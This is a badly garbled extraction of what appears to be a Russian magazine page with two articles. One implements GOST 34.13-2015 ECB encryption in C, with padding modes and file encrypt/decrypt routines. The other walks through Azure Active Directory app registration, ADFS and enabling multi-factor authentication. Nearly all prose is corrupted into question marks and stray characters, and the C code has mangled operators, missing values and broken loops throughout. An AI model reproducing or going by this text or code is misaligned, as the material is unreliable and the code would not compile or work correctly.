�??�????�),� ???� ?� 64????�?????� (????�??�??� �??�?�).� ???�???�?� ????�
???????�???�??�??�???,��??�?�?????�?????�(?�???�?�????�???�??
??????,� ?????� ???�?????�??,� ?????� ???�?????�??� ?� ????????� ??????
??� ??????,� ?????� ????�??� ??????� ?� ?????�???�?,� ?????� ???�?????�??
?� ????????� ??????� ??� ???�??????� ?� ?????� ???????�?� ???�??�???�?)� ????
????� ????�??�??� ????�???� ?� ???�??� ???�????�??� ???????�?:� ????� 34.13?
2015� �??????�???�??� ???�??????.� ????�????�????�??� ??????� ????????�
???.�?????�?????�???�??�??�??�.�?�???��??�?????�????�?.
WWW
???�?????�??��???�??�???�?燪t
??????�???�.12?2015
???�???�??�??�???????燫FC�57
??????
????????
??-????????
???????�???????
??????????�????�??????
Malware
???????????��???????�?????
??????????�??????�?????
?� ???�???�??� ?????�?� ??� ???�????� ?????�?????,
???� ??????�?� ???� ???�??�???�??� ????�???�????�?� �???�
?????粻 ?� �??�?�.� ????�?� ?� ??� ???????� ???????�?� ??????�
??????� ????�?� ????�??� ???????� ???????�??� (????� ???????�
??????� �??�????�,� ???�?� ???�?� ?????�?� ???�????� ????�?
????� 16� ????,� ?� ????� ???�?????� �??�?�,� ??� ?� ????� ?????�
??� ?� ???�?� 8� ????).� ?????�?,� ???� ???�?� ?� ?????� ???�??
??????�???�???�?�??????�?,��??�?�?????��???�?????.
INFO
???�???�??� ??????� ???�?:� ???� �???�??�,� ???
�??�????�,�??牜???�?�.
???� ?� ????� ??????,� ???�????� ????�???� ?� ???�??�??� ???�??�???� ????�????,
???????� ???�???�?� ????� 34.13?2015� �??????�???�??� ???�??????.� ?????�
?????�????�??�?????�??????�??.�?????�?????�???�??�??�??�.�???
???�????�??� ????????,� ???� ??� ???� ?� ???� ???�????� ??� ????�????�????�???
?????�?,� ???�??� ?� ???�??� ??????� ???????�??� ?� ???�????�??� ???�?� ???
???�????�????�??牜????�???�.
???�??� ????�???� ????�???�?,� ?????� ????�??� ?????�???????� ?� ????�
?????�?????� ????�????,� ???�??� ???????� ?????� ???�?????�?� ???�?????
???�??�???�?��??�???�??�?�??�?.
???�?� ???�???�???�???� ????�???� ???�???�?� ?� ????�???�?� ?????
???????�?????�???�??�??�???�???�??�??????:
? ??�??�???�??�?????�(ECB,�?�?????�??�?燛lectronic燙odebook)?
? ??�??�???�???�(CTR,�?�?????�??�?燙ounter)?
? ??�??� ???�?????�??� ?� ????????� ??????� ??� ??????� (OFB,� ??� ??????�??�?
Output燜eedback)?
? ??�??�???�??�?????��????�???�?�(CBC,�?�?????�??�?燙ipher燘lock
Chaining)?
? ??�??�??�?????�??��???????�?????�?�??�??????�(CFB,�?�??????�
???�?燙ipher燜eedback)?
? ??�??�??????�?�??�??�???�?�(MAC,�?�?????�??�?燤essage燗uthentica?
tion燙ode).
???�???� ????�???,� ???� ????�???� ??� ???�????�???�?� ????�??� ??????�??????
?�????�??�???�??�?�???�???�??�??????�???�?牜???�????粻???牜???�?�,
???�??� ????�???� ?????� ????� ?????� (???� ??� ???� ?� ???�??� ????�?� ???�?),
????�?� ?� ????�????� ?� ?????�??� ???�????� ???�???�???�???� ????�??� ????
?� ???�????� ???�?� 8� ????� (?� ????� ???�??� ???�?????�???�?� �??�?�)� ?� ?????�
???�???��??�????�??�?��???�(?????�??�???��???牜???�????�).
????????�?????????�????????
????�?� ???� ?????�???�???�?� ???�???�???� ??????� ??????,� ????�?????
???�???????�?��????�???�?�??�??�??�???�?��??�???�?�????�????
????�????,�??�??�????�(??�?????�??�?燩adding��????�?,�????�????).
???� ???�????� ???�???�???� ???� ?????�????� ???????� ????�??� ??????,
????�??� ??????� ?� ?????�???�?� ?� ??????� ???????�?� ???�??�???�?.� ????
?�??,�??�??�??�??�?????�?????�?�???�?��???�???�??,�??�?�??????
????�?� ???�???� ????�?� ???�?� (?????�?,� 8� ????� ???� �??�?粻 ?� 16� ????
???� �??�?????�).� ???� ????�????,� ???�?� ???????� ??� ????�?� ???�???� ???�?,
??????�???�?�???�??�???�?????�????�???�?�??�???�??�???�??�?.
????�.13?2015�???�???�?�??�??�?????�??�???�?�????�????.
???�???�?�???�??� ???�???�?� ???�???�???� ???� ??????� ?� ??????� ????�??� ??????
???� ????�??� ??????� ?� ?????�???�?.� ????� ???�???�?� ?� ???,� ???� ????�??
?�???�????�????�???�?�?????�?�??�???�??�???�??�?.
???�?�????�????��???�???�???��??�???�??�??�???�??????� ????� ???�???�?� ??� ???�???�?� ?????�???????� ????????�??
???�??�??�????� ???????�?� ????�????� ??� ???�????�??�???,� ????� ????�???�
???� ???�?� ?????�????� ????� ???�?� ???????�?� ????�????.� ??� ????� ???�?
???????�?� ????�????� ???� ???�?� ?????�????,� ???�???� ???�??� ???????�??
?????�??� ?????� ??� ???�????�??�???� ????�????� ???� ???�??�??�????
???????�?�???�?�??�?�??????�?.
???�??�????�????��???�???�???��??�???�??�???�???�?�???�??�????� ???�?� ????�???� ???�???�?� ?????�????� ???�???�???� ?� ???,� ???
?????�????�????�???�?��????�??�??,�?????�???�?�???,�???�?�??�?
????�????�??�???�??�?�??�??.�??�??�???�?�??�??�??�?????�???????
????�????� ??� ???�????�??�???� ???� ???�??� ?????�?????�??� ???????�??
(???�?�??????�?�???�????�??�??�?�????�????).
???�?�????�????��???�???�???��??�???�??�???� ?????�????� ????� ???�???�?� ???�????� ???� ????�???:� ???�?� ???????�?
????�????� ??� ????�?� ???�???� ???�?� (??� ????� ?� ???�?� ????�????� ???�???
?????�??�???)��??�?�??????�?�???�????�???�?�??�???�???�?�??�?.
?�??�??�??�??��??�??�??�??????�????�?�??�???,��?????�??�???�
??� ?????�???�?� ??????� ??� ???�???� ???�???� ???�?.� ??� ???�??� ?� ????�????
?????�???�?�????�????�?????�??�???,�?????�???�?��??�??�???�???,
?�????�???�?�?????�??�??�????�??�?�????�?????�???�??�?�?????.
??�??� ????�??� ?????�????� ???�?� ???????�????� ???� ??????�??????
?�?????�???�??�?????�??�???�??�?????��????�???�?.
???�???�?�???� ???�???�?� ??????� ??� ???�??� ???,� ???� ???� ?????�???�?,� ?� ??� ???�??
?????�????�??�?�????�????.�???�??�?�???�????�???�?�??�???�???�
??,� ??� ???????� ?????�????� ??????� ??� ???�?,� ?� ???�??�??� ???�??� ????�??
???????�?� ????�????� ?????�???�?� ??� ???�???� ???�???� ???�?� ???�??�??
??????�??�????��??�???�???�????�???�?�?????.
????�?�????�????��???�???�???��??�???�??�???�???�?,� ?????�????�??� ?� ?????� ????�???,� ???????�???�?� ??????�?????
????�?�??�?????�??????�?�??�??�???�?.
??�??�??�??��???�????�??????�??�???�??�??�??.
?????�??????�?????�(ECB)
?????�??�??�????�?�???�?:�???�???????�????�????�?�?�??�?,��??�??
????�??????�?� ???�???�??�?� ?????�????� ???�????�?� ???�?,� ?????� ???�??
????� ???�???�?� ?� ???�???�???� ???�???� ????�??�?� ????�???� ???�??????,
?� ?� ???�?� ???????�????� ?????�????�??� ???�?� ?� ?????� ???�??????� ??????�
?????�??�???�????.�?�??�?�???�??�???燩�???�?????�??�?�??????�?
???�??,燢��???�??�??????,燛��???�???�???�???�??�??????��?????
?????�?????�??,燙��????�????�??�??�?.
???�?�?????��?????�???�??�?????�??�????�?????�??
???�????�???�??� ?????�???�?� ?� ????????� ?????�?.� ??� ???�?� ????� D� ?
????�???�???�???�??�??????��?????�??�????�???�??.
???�?�?????��?????�???�??�?????�??�??�????�???�??
???�???�??�?�????�?????�??�??�????,�??�?????�???�????�??�???�?
???????� ???�???� (?� ????� ??� ?????� ??????�?????� ???�??�??� ?� ????�??
??????� ???�???� ????�??�?� ????�???� ???�??????� �??�?�,� ????� ???�?
??� ????�?� ????????� ??� ???�??�??� ????�???� ???�??????� ???� ???�???� ?????�
???�?,�??�????牜???�?????�).
??�?????�??�??�?�??????�?�??�??
??�??� ????????,� ???� ????????� ????�????� (???� ????????� ?????,� ???�??????
???�????)� ?????�????� ?� ??????????� ???�?� ?,� ????�???�???�?,� ???�??
???????�?�??�??�????�??�??�??�?�??�?��??�??.�????�???�??�??�??
??????�??�??�????�??�?????�???�??:
uint64_t爂et_size_file(FILE�*f)
{
牋爑int64_t爏ize;
牋爁seek(f,�燬EEK_END);
牋爏ize�爁tell(f);
牋爁seek(f,�燬EEK_SET);
牋爎eturn爏ize;
}
??�??�???�?�??�?�???�?????�?�????�????.
??�?????�??�??�?�????�????
???� ??????� ????�????� ?????� ???� ???�???�?� (????????�?� ??� ??� ???�??????,� ?
?????,�???�?�??�????�??�?):
#define燩AD_MODE_1�01
#define燩AD_MODE_2�02
#define燩AD_MODE_3�03
???�???� ????�???�??� ???�?� ?????�????� ???�????� ???�?????� ????�??
(?????燘LCK_SIZE��??�???�?,��??????�???�????�??�??�??�?��??�??
(?� ?????� ???�??� ?� ??????),� size� ?� ???�?� ???????�?� ????�????,
pad_mode��??�??�???�?�????�????):
#define燘LCK_SIZE�...
...
uint8_t爂et_size_pad(uint64_t爏ize,爑int8_t爌ad_mode)
{
牋爄f�(pad_mode�=燩AD_MODE_1)
牋牋牋�//�???�?????????�??�????????�?�????,�?????????�牋牋牋爄f�((BLCK_SIZE��(size�%燘LCK_SIZE))�=燘LCK_SIZE)
牋牋牋牋牋爎eturn�
牋爄f�(pad_mode�=燩AD_MODE_3)
牋牋牋�//�???�?????????�??�????????�?�????,�?????????�牋牋牋爄f�((BLCK_SIZE��(size�%燘LCK_SIZE))�=燘LCK_SIZE)
牋牋牋牋牋爎eturn�
牋�//�?????????�????�?????????
牋爎eturn燘LCK_SIZE��(size�%燘LCK_SIZE);
}
??�?�??�?????�???�??????�?�???�????�??�??�(??�???�????�??�??�??
???????�??� ???�??,� ?� ??????�??�?� ??� ????�??�?� ????�???� ???�??????),� ??
???�??�???�?��??�???�??�??�??�???�(??�???�????�????�?�??�?),
?�??�??�???�?�??�??�?????�??�????�????�??�?�??�???�???�?�???�
??�??????�?�???�????�(?�????�??�??�??�???�??�?牜???�?粻???�????
???�?�???�?).�???�?�??�?????�???�??????�?�???�????�????�??,�?
???�??�?????� ???�????� ?????� ???�?� ???�?� ???�??,� ???????� ????�?????
???�????�????�??�?�??�?�??????�?�???�????�?�??�???.
??�???�????�??�???�????�?????��????�????
??� ????� ???�??� ???�???� ????�???� ???�?????� ??� ????�??� ??????,� ?� ???????
???�??�?� ????????� ????�????,� ???�?� ?????�????,� ???�?� ??????� ???????�?
????�????��??�??�???�?�????�????.
static爒oid爏et_padding(uint8_t�*in_buf,爑int8_t爌ad_size,爑int64_t�
size,爑int8_t爌ad_mode)
{
牋爄f�(pad_size��
牋爗
牋牋牋爄f�(pad_mode�=燩AD_MODE_1)�//�??�????????�牋牋牋爗
牋牋牋牋牋爑int64_t爄;
牋牋牋牋牋爁or�(i�爏ize;爄�爏ize�+爌ad_size;爄++)
牋牋牋牋牋牋牋�//�????�??�???
牋牋牋牋牋牋牋爄n_buf[i]��00;
牋牋牋爙
牋牋牋爄f�(pad_mode�=燩AD_MODE_2)�//�??�????????�牋牋牋爗
牋牋牋牋牋�//�????�???????��?????�??
牋牋牋牋牋爄n_buf[size]��80;
牋牋牋牋牋爑int64_t爄;
牋牋牋牋牋爁or�(i�爏ize�+�爄�爏ize�+爌ad_size;爄++)
牋牋牋牋牋牋牋�//�????�????????�??�????????�?????
牋牋牋牋牋牋牋爄n_buf[i]��00;
牋牋牋爙
牋牋牋爄f�(pad_mode�=燩AD_MODE_3)�//�??�????????�牋牋牋爗
牋牋牋牋牋�//�????�???????��?????�??
牋牋牋牋牋爄n_buf[size]��80;
牋牋牋牋牋爑int64_t爄;
牋牋牋牋牋爁or�(i�爏ize�+�爄�爏ize�+爌ad_size;爄++)
牋牋牋牋牋牋牋�//�????�????????�??�????????�?????
牋牋牋牋牋牋牋爄n_buf[i]��00;
牋牋牋爙
牋爙
}
??�???�????�?????�??�???�????�????�?????�???????�???�????�(????
?????�???�?�??�???�??????�???�??�??�?????�????�????�????��????
???????�?�???�????),�???�???????�???�????�???�??�?�??�???�????
(?�??�??�??,�???�????�????�?�??�???�?).
???�???�??�?�?�?????
?�??�???�??�???�????�?�?�?�??�???�?�??�?��?????,�??�????�???�
????�????�??�?�??�??????,�???�?�???�??�????�?????�?�???�?????�
?????� ????�????�????�??� ????�??�??� ???� ??????� ????�?????.� ???� ???�?
???????�???�??�??�???:
void燝OST_Magma_Destroy_Key()
{
牋爄nt爄;
牋爁or�(i��爄��;爄++)
牋牋牋爉emset(iter_key[i],�00,�;
}
?�????�??�??�??�???�???�????�???�??�?????�牜???�??�,�??�???�???�
??牜???�????粻???�???�??????�?�????�??�??�???,��????,�?�??�???
????????�??.
???�???�???�?
???�???�?� ????� ?� ????????� ????�???�?� ?????� ????� ???�????�?� ????�??,
??�??�????�?????�??��??�????�???�??�????�??�???�???�?????�???
???�????.� ???�???� ??????�?� ??� ????� ???�?????� ??� ???�??�??� ???�??
???????�?�???�????,�??�?????�?�????�??�??�????�???�??�??�??�???�
???� ????�????� ?� ?????�????�??� ????,� ???�?????� ??� ????� ???�??????
?�??�??�??�??�??�??�??�??????�?�???�????.
void燛CB_Encrypt(uint8_t�*in_buf,爑int8_t�*out_buf,爑int8_t�*key,�
uint64_t爏ize)
{
牋�//�?????????�?????????�?????
牋爑int64_t爊um_blocks�爏ize�/燘LCK_SIZE;
牋爑int8_t爄nternal[BLCK_SIZE];
牋爄nt爄;
牋�//�???????????�????
牋燝OST_Magma_Expand_Key(key);
牋爁or�(i��爄�爊um_blocks;爄++)
牋爗
牋牋牋爉emcpy(internal,爄n_buf+i*BLCK_SIZE,燘LCK_SIZE);
牋牋牋�//�??????�????
牋牋牋燝OST_Magma_Encrypt(internal,爄nternal);
牋牋牋爉emcpy(out_buf�+爄*BLCK_SIZE,爄nternal,燘LCK_SIZE);
牋爙
牋�//�??????�???????????�????
牋燝OST_Magma_Destroy_Key()
}
?� ???�??� ???�??� ???� ???�??????� ??????�???� ???�?� ??????�???�?� ???�???
GOST_Magma_Encrypt� ??� ???�???�??� ??????.� ????� ???�?� ???�?????� ???�?
????�??�??� �??�????�,� ??� ????�?� ???� ???�?� ??????�?????� ???�???
GOST_Kuz_Encrypt� ??� ??????� ???� ????� ????�???� (??� ??????� ????�?� ???�???
GOST_Magma_Expand_Key� ?� GOST_Magma_Destroy_Key� ??????�?????� ?????�
????�??�???�??�???�??牜???�?????�).
???�????�???�?�???�?
???�???�??�????�?�??�???�????�?????�??�???�?,�?�????�???�?�???�
?????� ???�???� GOST_Magma_Decrypt.� ?� ??� ???????� ???�???�??�?� ????�
?????�???�??�???�?�??�?�???�????.
void燛CB_Decrypt(uint8_t�*in_buf,爑int8_t�*out_buf,爑int8_t�*key,�
uint64_t爏ize)
{
牋�//�?????????�?????????�?????
牋爑int64_t爊um_blocks�爏ize�/燘LCK_SIZE;
牋爑int8_t爄nternal[BLCK_SIZE];
牋爄nt爄;
牋�//�???????????�????
牋燝OST_Magma_Expand_Key(key);
牋爁or�(i��爄�爊um_blocks;爄++)
牋爗
牋牋牋爉emcpy(internal,爄n_buf�+爄*BLCK_SIZE,燘LCK_SIZE);
牋牋牋�//�?????????????�????
牋牋牋燝OST_Magma_Decrypt(internal,爄nternal);
牋牋牋爉emcpy(out_buf�+爄*BLCK_SIZE,爄nternal,燘LCK_SIZE);
牋爙
牋�//�??????�???????????�????
牋燝OST_Magma_Destroy_Key()
}
???�?�??���??�???�????�?????�??,�???�?燝OST_Magma_Decrypt��???�
???�???�??????�?�??�?�?????�?????燝OST_Kuz_Decrypt.
???�???�???�??????
??� ???� ????�???�???,� ???� ????????� ?� ???�??� ???????�?� ????�????� ?????
??????�???� ???�????,� ?????�?� ????�?????� ????�?????� ???�??� ??????
???� ???�????� ????� ???�??.� ???� ???�?� ????�????� ???�???�?,� ?� ???????
???????� ???�??� ???�????� (?� ???�??� ???�??� ??????� ???�??� ????�?
???????�?,�?�?????�??�??????�???�?????�??�??):
#define燘UFF_SIZE�24
???�???�????�?????�??�??�?�??�????�??�?????�???�??:
void燛CB_Encrypt_File(FILE�*src,燜ILE�*dst,爑int8_t�*key,爑int64_t�
size,爑int8_t爌ad_mode)
{
牋�//�??????????�????�??�??????��???????�????
牋爑int8_t�*in_buf�爉alloc(BUFF_SIZE�+燘LCK_SIZE);
牋爑int8_t�*out_buf�爉alloc(BUFF_SIZE�+燘LCK_SIZE);
牋爓hile�(size)
牋爗
牋牋牋�//�??????�????????�?????�????
牋牋牋爄f�(size�燘UFF_SIZE)
牋牋牋爗
牋牋牋牋牋爁read(in_buf,�燘UFF_SIZE,爏rc);
牋牋牋牋牋燛CB_Encrypt(in_buf,爋ut_buf,爇ey,燘UFF_SIZE);
牋牋牋牋牋爁write(out_buf,�燘UFF_SIZE,燿st);
牋牋牋牋牋爏ize�=燘UFF_SIZE;
牋牋牋爙
牋牋牋�//�??????�????????�?????�????
牋牋牋爀lse
牋牋牋爗
牋牋牋牋牋爁read(in_buf,�爏ize,爏rc);
牋牋牋牋牋�//�?????�?????????�????????�????????
牋牋牋牋牋爏et_padding(in_buf,爂et_size_pad(size,爌ad_mode),爏ize,�
pad_mode);
牋牋牋牋牋燛CB_Encrypt(in_buf,爋ut_buf,爇ey,爏ize�+爂et_size_pad(
size,爌ad_mode));
牋牋牋牋牋爁write(out_buf,�爏ize�+爂et_size_pad(size,爌ad_mode),�
dst);
牋牋牋牋牋爏ize��
牋牋牋爙
牋爙
}
??� ????� ???�???� ????�???� ???�?????� ??� ????� ?� ????????� ????�???�?,� ????�
??????� ??� ????,� ?� ???????� ?????� ??????�?� ?????�????�??� ????�????,� ????�
??????�?�???�??�??????��??�??�???�?�????�????.
???� ?????�?????�??� ??????� ???� ???�??�??� ???�??� ???????�?� ?????�
?????� ?� ?????�????�???� ????�????� ??� ???�???�???� ???�??� ??????
??�??�??�???�?�??�?,�??�?�???�??�???????�????�???�???????�????�
?????� ???�??� ???�??� ???� ??????� ?????�????,� ????�???�???� ???�????�
???�
???�????�???�?�???
???�????�???�?�???�??�?????�??�??�?:
void燛CB_Decrypt_File(FILE�*src,燜ILE�*dst,爑int8_t�*key,爑int64_t�
size)
{
牋�//�??????????�????�??�??????��???????�????
牋爑int8_t�*in_buf�爉alloc(BUFF_SIZE);
牋爑int8_t�*out_buf�爉alloc(BUFF_SIZE);
牋爓hile�(size)
牋爗
牋牋牋�//�??????�????????�?????�????
牋牋牋爄f�(size�燘UFF_SIZE)
牋牋牋爗
牋牋牋牋牋爁read(in_buf,�燘UFF_SIZE,爏rc);
牋牋牋牋牋燛CB_Decrypt(in_buf,爋ut_buf,爇ey,燘UFF_SIZE);
牋牋牋牋牋爁write(out_buf,�燘UFF_SIZE,燿st);
牋牋牋牋牋爏ize�=燘UFF_SIZE;
牋牋牋爙
牋牋牋�//�??????�????????�?????�????
牋牋牋爀lse
牋牋牋爗
牋牋牋牋牋爁read(in_buf,�爏ize,爏rc);
牋牋牋牋牋燛CB_Decrypt(in_buf,爋ut_buf,爇ey,爏ize);
牋牋牋牋牋爁write(out_buf,�爏ize,燿st);
牋牋牋牋牋爏ize��
牋牋牋爙
牋爙
}
???�?????,�??�??�???�?????�?�??�???�????�?????�??�??�?,�???�?
??????�??�?� ???,� ???� ???�???� ?� ?????�???�?� ?� ??????�?????�?� ???�???
ECB_Decrypt�???�?�??�???燛CB_Encrypt.
???� ??????�??????� ???�???� ECB_Encrypt_File� ?� ECB_Decrypt_File� ???�?,
?�?????�?�????�???????�??�??�???,�???�?????�????�???��??????�??
rb� ???� ???�??� ???� wb� ???� ??????� (??� ????� ?????�???� ??� ?� ??????� ???�????,
?�?�??�??�??�??�??),�??�????�??�??:
...
FILE�*in_file�爁open("D:/encrypt_test.enc",�"rb");
FILE�*out_file�爁open("D:/decrypt_test.dec",�"wb");
...
??�??� ????�??� ??????� ???�????�?� ???�????� ?� ?????�????,� ????�?� ???�?
????� ????�?� ?????�???�??� ?????�????:� ????� ??� ?????� ???�?????� ?????�
?????,� ???????� ?????�??� ?� ????� ???�???�??� ???� ???�???�?????� ???�?,� ??
??�?????�?�???�??????�????�????�??�??�???�??�??�??�???�?????
???�?.�???�????�????�???�??�???????�??????�????�???�??????�?�????�
?????.� ??� ???�???� ????� ???�???�?????� ???�?� ??????� ???�?� (????�?
????????�????,�??�?�????�????�??).
??�??�??�??�????�????�?????�???�??�?????
??????????
??�???� ??� ???�??,� ???� ???�?????� ????�??� ????�??�?� ???�??????
???� ??????� ?� ????�???�??� ???�?????�??� ???�?� ?� ??????�?????�?� ??????
????�??� ??????.� ?� ??????� ????� ?????� ???�???�??� ???� ????�??�?� ????�???
???�??????� �??�?�,� ????�?� ????�??� ????�?????� ?� ??????�??�?� ????
???� ????�??�?� �??�????粻 ???� (???� ????�??????� ???�???� ??� ??????�?
??� ???�??� ??????� ???�?).� ????� ?????� ????�?� ???�?� ???�?????� ???� ????�
???????� ??????�??� ??� ???�??� ???�??�??� ???�??,� ?� ???????� ??????�??�?
??????????�????�?????�??�??�??�?��??�???�???�??�???.
WWW
????��???�??�????燪t� ???�???�??�?牜???�?�
(?�??�??�?��????�????�?????�??�??????�
???)��??�???�??�?牜???�????�
????�????�???�.13?2015
??????
??????????????
??????????????
??-?????????
????????�???????
rzdebski@microsoft.com
????
?????????�???
?�??????
???????????
??????????????
???�????�?????� ?????�?????�??,� ????�??� ????�??�?
?????�???�??� ?????� ????�?????� ???????�????� ???????�??
????�???????�???� ???�????,� ????�?????�?� ???�???�?� ?� ?
???�??????�??� ???�???.� ?� ????� ??????� ??� ???�???�??,
???� ????????� ?� ??????�??� ???�???�??� ???�???????
???� ????�?� ???�??????�??� ?????�?????�??,� ?� ?????�????
?� ???�?� ????�?????�?� ?� ??????,� ???�????� ???�??
??� ???????�??�????�??� ??� ????�?????�?� ???????� ???� ????
????� ??� ???.� ??????� ???�?,� ?????� ???�???�???� ???�???�?
backend????�????� ???� ?????�????� ???�??� ???�????�?????
?????�?????�??.
??????? ?????????????? ?????????????? ???�???????????? ??????????
1.�?�??�????�??�????�?????�??,�??�???�?�??�???�?????�?��?????.
?� �?????,� ???� ?� ????粻 (?????/??????)� ?????�???�?� �?????,� ???� ?????�
???粻?�??????�??�?????�???,��??�?????,�??�???�?�?�??�??�????�
????????,�??�???�?�??��??,�?????�?????�?�??�?????�???,�??�???�
???�?�???��??�????�???????.
2.�???�??� ???????�??� ???�???�???� ?????�??� ???�???� ?????�?????�??� ?
????�????/???�??????� ???�??� ???�???� ??????� ???� ???�??� ????�??????�
???,� ???�???�?� ???�?????� ???????� ?� ???�????� ??????� ?????�?????�??
???�????�????�?????�??.
3.�??�???????� ??????�?????� ????�??� ???�??� ???�??????�??� ???????????�
????� ???� ???�?� ?� ???�???�??,� ?� ??� ???�?????� ?????� ??????� ?� ??????
???�??�???�??��????�????��??�??????�??.
??� ???�???�??� ?????�????� ????� ??????� ?� ???????� ???�?????� ???�??�??
?�??�??????:
? Azure� Active� Directory� ?� ????????� ???�??� ???�????�?????� ?????�??????�
????
? Azure� Active� Directory� Authentication� Libraries� (ADAL)� ?� ???�????�?,� ?????�
??????�???�?????�??�????�??�????�?????�????�?????�??,�???�??
???�??�?� ???�?????�??,� ???????�??� ?????�????� ?� ????????� ???�????
?????�?????�??,� ????�??????� ????�??????� ?????�??� ?????�?????�??.
???�????�???�??�??�??�???�???��??�??�???�????�???�???
? Xamarin� Forms� ?� ??????????�?????�??� ?????�??� ???�????� ??????�??
???�???�??,� ????�?????�???� ???�??????� ?� ?????�??� ???� ?� ????�?????�
????� ???�??� ?� ?????�??� API.� ???�??�?� ????�?� ???� ???�??�?� ???�????
???�???�??��???�?????�?????�?�?90%��????�??????�?�???�???�
??爄OS,燗ndroid,燱indows燯WP��??�??�??�??�??�??�??�???�??�???.
Xamarin� ???�????� ???� ???�???�??� ?????� Microsoft� Visual� Studio� ??� ????� ??
???�???,�???�??�??�???�??燰isual燬tudio燙ommunity燛dition.
???�?��??????� Active燚irectory燜ederation燬ervices�(ADFS)� ?� ??� ???????�??
?� Azure� Active� Directory� ??� ?????� ??????�?????� ???� ???�????�?????� ??????�
??????�??�??�??????�??�???�??�?????��?????�???�????�?�?????燗c?
tive燚irectory,�?�???????�???��???�?????�??�???�?�??�??�??�?????.
ADFS� ?????� ????�????�??� ???????,� ???� ???,� ????� ???� ??� ???�?� ???????�??
?� ??????�??� ???????� Active� Directory,� ??� ?????� ???�???� ????�??� ??????
????�??�????�???�???�?��??�???燗zure燗ctive燚irectory.
???�??� ?� ???�???�?� Azure� Active� Directory:� ????� ?� ???� ???� ????�??� ??????
?�??�???�� Microsoft燗zure,�????�??�?�???????�??�???�??�???�??�????�
???�?????�????.��??�??�???�??�??�????�???�??�??�?�??�????�???�
???�????�???�??�???�?�?�??.��????�??,�??�??�???��??�??�?????,�?
??????�??�???????�??�???�?.
??�??�??�??�?????�???�??�???�??�??�??�???�燗zure燗ctive
Directory
???�??�????�?�????�??�???�?????�??�??�???�??�燗zure燗ctive燚irec?
tory�??�???,�??�?�???????�??�??��??�???.�??�????�?�?�??�???�????�
???�?????�??�???�??��???�????�???�???�?????�???�?��??�???�???
???????�????.� ????�?� ??????�??� ???�???�??,� ???????� ?????� ???????�??
?????�????� ???�??� ?????�????� ???�??� ????�?????�???,� ???????� ???�??
?�???�?�????�?????�??.
???�?� ??� ???�??� Azure,� ?� ?????� ?????� ???�??� ??????� ?????� ??????�?
????�?燗zure燗ctive燚irectory�(???�?????�?燗ll燫esources��???�???�?�????�
???� ?????),� ??????�??� ?� ???�?????� App� registrations� ?� ?????�??�???� ?????
????�??�?????�??�???�??,�??????燦ew燼pplication爎egistration.
New燗pp燫egistration
??�??�???�???�????�???�??�?????�??�???�??:
? Name��????�??,�?�?????�?�????�??�????�????�????�?,��????
???�???�??�????
? Application� Type� ?� ??????�?� Native,� ???� ???� ?� ???� ?????� ??????�??� ????�
????�??,��?�??????�???
? Redirect� URI� ?� ???� ???�????�?� ????�?????�??,� ???????� ???�??� ???-�
??????�?� ???�?????� ?� ???�???�?� ????�??� ??????� ???�???�??� ??� ????�
????� ???�???� ?� ???�???�??� ??� ???�???� ???�???.� ???� ?????� ????� ?????
???�?????�??燯RI�(???�?????�??�???�?��??�???燯RI)��?�?�??�??
????� ???�?????�?� ?????�??� ???�??� ?� ??� ???�??� ????� ???????�??�????
?燚NS.
New燗pp燫egistration燜orm
??�???�?燙reate��?????�?�????�???�??�?????�??�???�??��???�????�
???�?� ???�????�??� ???�????� ????�?????�????,� ???????� ??????�???� APPLI?
CATION營D.
New燗pp燫egistration燙ompleted
???� ?????� ???�??� ????�?????�??� ?� ???� ???�?????�?� ???�??� ????????
??????�??� ???�???�??� ????�?� ?� ???�???�???� ?� ???�???�??� ???�???� Re?
direct燯RI,�??�?�???????�??�??��???�?�????�?????�??.
???�????�???�?????�?��???�????�??�????�?????�????�?????�??
??�???� ??� ???�????� ????�?????�?,� ??????� ?� ????�??� ???� ????� ???�?????�
??????�????�?????�??.
??�??�?,�??,�???�???�?????�?????�?????�???�??�?????,�??�?????�
???�???��???�???�??��?????�??�?????燗ctive燚irectory,�??�??�?�???�
????��??????�???�?燗ctive燚irectory燜ederation燬ervices.�??�?�??�?�???�
??�????�???????�???�?????�??,�??�?�????�??�??�????�??�????�?????
?????�?????�??�??�??�????�??�???��?????�???�?????�??,��??�??�?
?� ??????�??� ???�???�??� ???� ?????� ??????�?????� ????� ?????�??� ??????
?�?????.
??�???�??�?????�??????燗FDS�??????�?�????�?????�??:
ADFS燗rchitecture
??� ??� ???�??�??� ???????� ???�????,� ???????� ??� ???�???� ???????� ??????
Active� Directory� ?� ???�???�?� ????�?� ADFS,� ?� ???????� ????�?????�?� ??????�
???????�?�燗zure燗ctive燚irectory.
??�????��??�????�??�??燗zure燗ctive燚irectory�燯sers燼nd爂roups�燗ll
users��?????�?燦ew爑ser.
New燯ser
??�??� ?????�???� ???????�??� ?� ????�?????�?.� ????�?� ???�????� ??� User
name:�???��???��??�????燗zure�???�?????�???�?�???�????�??�??�
??????�??� ???,� ????� ???� ?� ???�???� ????�???�??�?� ???�???�???� ?????�??
???� ?� ???�??� ????�?????�?� ??� ????�???� [?????� ?????� ????�??� ??????
Azure].onmicrosoft.com.� ???� ?????� ???�?????�??� ???�?� ???�????�?,� ???� ????�
??????�???�??�??�??,�??�??�?,�?�??�????��??�????燗zure�???�????
???�????�??� ?????.� ???�?� ???�???�???� ?� ???�???�???� ??????.� ??� ??????�
????� ???�??�???� ????�???�??�?� ???�???�????�??� ?????� ???� ????� ????�??
???�????.
New燯ser燜orm
??�???�?燙reate��?????�?�????�???�??�?????�???�?????�?.
??�???� ????�??� ???� ???� ???�????�?????� ?????�?????�??.� ???????
?�??�??燗ll爑sers��?????�?�???�?燤ulti?Factor燗uthentication.
Multi?Factor燗uthentication燘utton
????�?�?�?????�?��??�???�?�??�????�?????�????�?????�??,�??????�
??�??�???�???�?????�?��?????�?燛nable.
Enabling燤FA
??� ???�??� ????????� ????�????� ??� ????????� ???�????�????� ???�?????�
??????�????�?????�??�??�??�???�???�?????�?.
MFA燬uccess
??�??�???�??�???�??�?????��??�??�???�???????�?????�????�?????�
??????�?????�?� ???�????�????.� ????� ?????�?� ????�???� ???�???�?� ???�???,
???�?�??�?��??�??燬ervice爏ettings��??�?�??�??�????燤ulti?factor燼u?
thentication�?�???�?????�??�???�?�???.
?????�???,�??�????,�???�??�??�??�??,�??????�???�?,�????�?????
?????�?????�??牜???�????粻???�????�???�?????�?.
MFA燤ethods
?????� ???�?� ???�??�??� ???�??� ????� ???� ??� ???????� ???� ???�??????�??
?????�?????�??�??�???�??燤icrosoft燗uthenticator.
